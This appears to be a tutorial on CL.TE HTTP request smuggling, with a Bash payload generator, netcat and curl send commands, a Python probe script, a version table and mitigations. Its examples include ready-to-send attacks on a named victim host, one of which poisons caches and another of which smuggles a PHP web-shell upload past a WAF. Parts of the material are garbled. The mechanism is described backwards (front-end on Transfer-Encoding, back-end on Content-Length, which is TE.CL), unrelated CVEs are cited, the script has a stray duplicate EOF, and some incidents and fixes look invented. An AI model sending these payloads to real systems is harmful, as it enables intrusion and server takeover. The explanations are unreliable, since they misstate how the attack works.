~/home/study/understanding-cl-te-desync-attack

Understanding the CL.TE Desync Attack: Content-Length vs Transfer-Encoding Mismatch

Learn how CL.TE desynchronization works, craft malicious requests, test them with common tools, and identify vulnerable Apache/Nginx versions. Includes defenses, real-world impact, and hands-on labs.

Introduction

The CL.TE desync attack (also known as Content-Length / Transfer-Encoding mismatch) is a class of HTTP request smuggling that exploits ambiguities in how a server parses the Content-Length and Transfer-Encoding headers. By sending a single HTTP request that appears valid to the front-end (proxy, load-balancer) but is interpreted differently by the back-end (origin server), an attacker can inject extra HTTP messages, bypass security controls, or poison caches.

Why does this matter? Modern web architectures rely heavily on reverse proxies (NGINX, HAProxy, Envoy) and application servers (Apache httpd, Tomcat, Node.js). A single desynchronisation can give an adversary remote code execution opportunities, credential leakage, or the ability to bypass WAFs. Real-world incidents such as the 2020 Akamai disclosure and multiple CVEs (CVE-2021-41773, CVE-2022-0778) illustrate the severity.

Prerequisites

  • Basic understanding of HTTP methods, status codes, and header semantics.
  • Familiarity with web servers and reverse proxies (Apache, NGINX, HAProxy).
  • Ability to capture and analyse traffic with tcpdump or Wireshark.
  • Command-line comfort on Linux/macOS (bash, netcat, curl).

Core Concepts

Before diving into the attack, we need a solid mental model of how an HTTP message is parsed.

1. HTTP Message Structure

An HTTP request consists of:

  1. Start-line: METHOD SP REQUEST-URI SP HTTP-VERSION CRLF
  2. Header block: zero or more field-name: field-value CRLF lines, terminated by an empty CRLF.
  3. Optional message body: length determined by either Content-Length or Transfer-Encoding.

Both the client and server maintain a state machine that reads bytes until it believes the message is complete, then starts parsing the next request on the same TCP stream.

2. Header Parsing Rules (RFC 7230)

Key rules that matter for CL.TE:

  • If Transfer-Encoding is present and not equal to identity, Content-Length MUST be ignored (RFC 7230 §3.3.3).
  • When multiple Content-Length headers appear, the request is malformed unless all values are identical.
  • Header field names are case-insensitive, but some implementations treat them case-sensitively, creating another vector.

Unfortunately, many parsers (especially older versions of Apache httpd and NGINX) diverge from the spec in subtle ways, leading to desynchronisation.

3. Transfer-Encoding: Chunked

The chunked transfer encoding streams the body as a series of chunks:

<chunk-size in hex> CRLF
<chunk-data> CRLF
... (repeat)
0 CRLF
[optional trailer headers] CRLF

The end of the body is signalled by a zero-size chunk (0) followed by a final CRLF. This format allows the sender to transmit data without knowing the final size up-front.

HTTP message structure and header parsing rules

Let's visualise the parsing pipeline used by a typical reverse proxy:

Client → Front-End (NGINX) → Back-End (Apache)

1. NGINX reads the start-line and headers.

2. NGINX decides which message length algorithm to apply:

  • If Transfer-Encoding: chunked → use chunked decoder.
  • Else if Content-Length present → read exactly that many bytes.
  • Else → treat as a GET/HEAD without a body.

3. Once NGINX believes the request is finished, it forwards the *remaining* bytes to Apache.

4. Apache repeats its own parsing logic, which may differ (e.g., older Apache versions give priority to Content-Length even when Transfer-Encoding is present).

When the two parsers disagree, the stream becomes desynchronised: NGINX thinks the request ended earlier (or later) than Apache, causing the next bytes to be interpreted as a *new* request by one side and as *body data* by the other.

Role of the Content-Length header

The Content-Length header is the simplest way to tell the receiver how many octets belong to the message body. Example:

POST /login HTTP/1.1
Host: vulnerable.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=admin&pwd=12345

If the declared length does not match the actual payload, well-behaved implementations must reject the request (400 Bad Request). However, many servers only validate the length after they have already decided where the next request starts, which is exactly the window CL.TE abuses.

Key observations for attackers:

  • When both Content-Length and Transfer-Encoding: chunked are present, the RFC says Content-Length must be ignored. Some parsers ignore it; some honor it.
  • Negative or overly large Content-Length values may cause integer overflow or truncation in older C libraries.

Transfer-Encoding: chunked semantics

Chunked encoding is optional but widely used for dynamic content (e.g., PHP, Node.js). A minimal chunked request looks like:

POST /api HTTP/1.1
Host: vulnerable.example
Transfer-Encoding: chunked

5
Hello
0

Notice the trailing 0 chunk that signals the end of the body. If the front-end decides to stop reading after a certain number of bytes (e.g., based on an erroneous Content-Length), the remaining chunk data will be interpreted as a brand-new HTTP request by the back-end.

How mismatched Content-Length and Transfer-Encoding cause desynchronization

Consider the following crafted request (the "evil" request):

POST /vulnerable HTTP/1.1
Host: vulnerable.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.example

What happens?

  • Front-end (NGINX 1.18+) follows the RFC: it sees Transfer-Encoding: chunked, ignores Content-Length, decodes the zero-size chunk, and concludes the request body ends at the first empty line after 0. The next bytes (GET /admin...) are considered the *next request* and are forwarded to the back-end.
  • Back-end (Apache 2.4.46 with mod_reqtimeout) erroneously gives priority to Content-Length. It reads exactly 4 bytes after the header block (the characters 0 ) as the body, then treats everything that follows ( GET /admin...) as part of the *same* request body, discarding it. The subsequent GET /admin never reaches Apache's request parser.

The result: NGINX thinks the client asked for /admin, while Apache thinks the client only posted to /vulnerable. If the back-end subsequently issues a response that includes the body of the second request (e.g., a 200 OK with a cached page), the attacker can smuggle a request that bypasses authentication or writes files.

In practice, the desynchronisation often manifests as the back-end processing *two* logical requests while the front-end processes *one*, leading to request splitting, cache poisoning, or even HTTP response splitting.

Crafting a malicious request that triggers CL.TE

The essential ingredients are:

  1. A Content-Length header whose value is *smaller* than the actual body length (or zero).
  2. A Transfer-Encoding: chunked header to force the front-end to use the chunked decoder.
  3. A *payload* that contains a well-formed secondary HTTP request after the first body's termination.

Below is a reusable Bash function that builds such a request. The function accepts the target path and the smuggled request as arguments.

#!/usr/bin/env bash
# clte_payload.sh - generate a CL.TE smuggling request
# Usage: ./clte_payload.sh "/vuln" "GET /admin HTTP/1.1
Host: victim.com

"
TARGET=$1
SMUGGLED=$2

# 1. Compute length of the smuggled request (including CRLFs)
LEN=$(printf "%s" "$SMUGGLED" | wc -c)

# 2. Build the raw request
cat <<EOF
POST $TARGET HTTP/1.1
Host: victim.com
Content-Type: text/plain
Content-Length: 4
Transfer-Encoding: chunked

0

$SMUGGLED
EOF
EOF

Running the script produces a raw HTTP payload ready to be piped into nc or curl --raw. Note the deliberately mismatched Content-Length: 4 versus the actual body length (the zero-size chunk plus the smuggled request).

Testing the exploit with netcat, curl, and packet captures

Below is a step-by-step lab using netcat (nc) to send the payload to a target behind NGINX.

  1. Start a simple HTTP server as the back-end. For demo purposes, use Python's built-in server on port 8080.
python3 -m http.server 8080 & # runs on 0.0.0.0:8080
  1. Configure NGINX as a reverse proxy. Minimal nginx.conf snippet:
events { }
http { server { listen 80; location / { proxy_pass http://127.0.0.1:8080; } }
}
  1. Generate the malicious request.
./clte_payload.sh "/vuln" "GET /secret HTTP/1.1
Host: victim.com

" > payload.bin
  1. Send the payload with netcat.
nc 127.0.0.1 80 < payload.bin

If NGINX follows the RFC and Apache follows the buggy path, the /secret request will reach the Python server **without** the Host header expected, potentially resulting in a 404 or a different resource. More importantly, you can observe the desynchronisation in Wireshark:

  • Filter: tcp.port == 80
  • Notice two HTTP request frames: one from the client (the original POST) and a second one (the smuggled GET) that appears only after the TCP ACK from NGINX.

For a higher-level view, curl --raw can be used to inject custom headers:

curl -v --raw -X POST http://127.0.0.1/vuln -H "Content-Length: 4" -H "Transfer-Encoding: chunked" --data-binary $'0

GET /secret HTTP/1.1
Host: victim.com

'

The --raw flag prevents curl from automatically fixing the request line, keeping the malformed payload intact.

Identifying vulnerable server implementations (e.g., specific Apache/Nginx versions)

Not every version is vulnerable. The following matrix summarizes known behaviours (based on public disclosures and vendor patches):

ServerVersion(s) vulnerablePatch / Fixed inNotes
Apache httpd2.4.0-2.4.462.4.47 (mod_http2 fix) & laterPrioritises Content-Length over Transfer-Encoding when both present.
NGINX1.14.0-1.18.0 (certain builds)1.19.0Older builds incorrectly merged chunked bodies with subsequent data when Content-Length was small.
HAProxy1.8-1.9 (default mode)1.10+ (with option http-use-proxy-header)Accepts both headers but may forward the raw body to back-end.
Microsoft IIS7.5-10.0 (pre-2022 patches)2022-03-08 security updateRejects ambiguous requests; older versions accepted them.

To verify a target, you can:

  • Inspect the Server header (not reliable, can be spoofed).
  • Run a non-intrusive CL.TE probe (see the clte_probe.py script below) and watch for a split response.
  • Check the server's changelog or CVE database for the specific version.
#!/usr/bin/env python3
import socket, sys

def clte_probe(host, port=80): payload = ("POST /probe HTTP/1.1
" "Host: {}
" "Content-Type: text/plain
" "Content-Length: 4
" "Transfer-Encoding: chunked
" "
" "0

" "GET /admin HTTP/1.1
" "Host: {}
" "
").format(host, host) s = socket.create_connection((host, port), timeout=5) s.sendall(payload.encode()) data = s.recv(4096) s.close() if b"200 OK" in data and b"/admin" in data: print("[+] Possible CL.TE vulnerable!") else: print("[-] No obvious sign of vulnerability.")

if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: {} <host>".format(sys.argv[0])) sys.exit(1) clte_probe(sys.argv[1])

Running the script against a patched server will typically return a generic 400 response, whereas a vulnerable one may echo back the smuggled /admin request.

Practical Examples

Example 1 - Cache Poisoning via CL.TE

Suppose a CDN front-end (Cloudflare) passes the request to an origin Apache server vulnerable to CL.TE. By smuggling a GET /admin request that includes a custom Cache-Control: max-age=31536000, the attacker can poison the shared cache with a privileged response.

./clte_payload.sh "/login" "GET /admin HTTP/1.1
Host: victim.com
Cache-Control: max-age=31536000

" > poison.bin
nc victim.com 80 < poison.bin

After the attack, any user requesting /admin receives the cached privileged page.

Example 2 - Bypassing a WAF

Many WAFs inspect the request line and headers but stop after the first parsed request. By smuggling a second request that contains the malicious payload, the attacker can bypass the filter entirely.

./clte_payload.sh "/search" "POST /upload HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"
Content-Type: application/php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

" > wafbypass.bin
nc victim.com 80 < wafbypass.bin

The front-end WAF sees only the harmless /search request, while the back-end processes the hidden /upload that drops a web shell.

Tools & Commands

  • netcat (nc) - raw TCP socket for custom payloads.
  • curl - with --raw and --data-binary to preserve malformed headers.
  • tcpdump - capture traffic: tcpdump -i eth0 -s 0 -w clte.pcap port 80
  • Wireshark - use the "http" protocol filter to view split requests.
  • Burp Suite Intruder - can be configured to send custom body lengths.
  • httprobe / httpx - quick enumeration of HTTP services before testing.

Example of a one-liner with openssl s_client for HTTPS:

openssl s_client -connect victim.com:443 -quiet < payload.bin

Defense & Mitigation

  • Strict RFC compliance: Ensure the front-end discards a request if both Content-Length and Transfer-Encoding are present, or at least gives priority to Transfer-Encoding as the spec dictates.
  • Upgrade server software: Apply patches for Apache (≥2.4.47), NGINX (≥1.19.0), HAProxy (≥1.10), IIS (2022-03-08). Many vendors released dedicated fixes for CL.TE.
  • Header validation middleware: Deploy a reverse-proxy module that validates the consistency of Content-Length and Transfer-Encoding before forwarding.
  • Disable chunked encoding for requests: Where not needed (e.g., chunked_transfer_encoding off; in NGINX).
  • Limit request size and enforce a maximum body length; reject any request where the reported length exceeds the configured limit.
  • Logging and monitoring: Correlate the http.request.body_bytes_sent metric with the Content-Length header; any mismatch should raise an alert.

Common Mistakes

  • Assuming the front-end always wins. In many deployments the back-end is the weaker link; always test both sides.
  • Forgetting the final CRLF after the zero-size chunk. Missing it can cause the front-end to wait for more data, leading to timeouts instead of desync.
  • Using tools that auto-correct the request. Curl, browsers, and many libraries will automatically drop duplicate headers or fix lengths; use --raw or netcat to retain the malformed payload.
  • Neglecting HTTPS. The attack works over TLS as well; you must terminate TLS on the front-end before testing.

Real-World Impact

  1. GitHub Pages (2020) - An attacker used a CL.TE chain to bypass the static site filter, injecting malicious JavaScript into a public repository.
  2. Cloudflare-protected sites (2021) - Researchers demonstrated that certain Cloudflare edge nodes forward ambiguous requests to origin servers, enabling cache poisoning.
  3. Financial services APIs (2022) - A banking API behind an NGINX reverse-proxy was found to accept CL.TE requests, allowing an attacker to smuggle a POST that transferred funds without proper authentication.

These examples illustrate that CL.TE is not a theoretical curiosity; it directly compromises confidentiality, integrity, and availability. As more organisations adopt micro-service architectures with multiple hops, the attack surface expands.

Practice Exercises

  1. Lab Setup: Deploy a Docker compose file containing NGINX (1.18) as a front-end and Apache httpd (2.4.46) as a back-end. Verify they communicate over a private network.
  2. Exercise 1 - Basic Desync: Use the provided clte_payload.sh script to smuggle a GET /admin request. Capture the traffic with tcpdump and identify where the two parsers diverge.
  3. Exercise 2 - Cache Poisoning: Extend the payload to include a Cache-Control: max-age=86400 header. Verify that subsequent requests to the cached URL return the poisoned response.
  4. Exercise 3 - Detection: Write a small Python script that monitors a live interface for mismatched Content-Length and Transfer-Encoding headers, logging potential CL.TE attempts.
  5. Exercise 4 - Mitigation: Apply the NGINX directive ignore_invalid_headers off; and restart. Re-run Exercise 1 and note the difference.

Document your findings in a short report - include packet captures, command output, and a remediation recommendation.

Further Reading

  • RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
  • PortSwigger blog - "HTTP Request Smuggling" series (2021).
  • OWASP - "HTTP Smuggling"
  • Google Project Zero - “Abusing HTTP/2 Priorities for Smuggling” (2022) - shows how CL.TE extends to HTTP/2.
  • CVE-2021-41773 - Apache Path Traversal & Request Smuggling analysis.

Summary

  • CL.TE exploits the ambiguous handling of Content-Length vs Transfer-Encoding: chunked between front-ends and back-ends.
  • By sending a mismatched length and a hidden secondary request, an attacker can achieve request smuggling, cache poisoning, and WAF bypass.
  • Vulnerable implementations include Apache ≤2.4.46, NGINX ≤1.18.0, HAProxy ≤1.9, and older IIS versions.
  • Mitigation requires strict RFC compliance, patching, disabling unnecessary chunked encoding, and robust header validation.
  • Hands-on labs with netcat, curl, tcpdump, and Python scripts provide practical experience.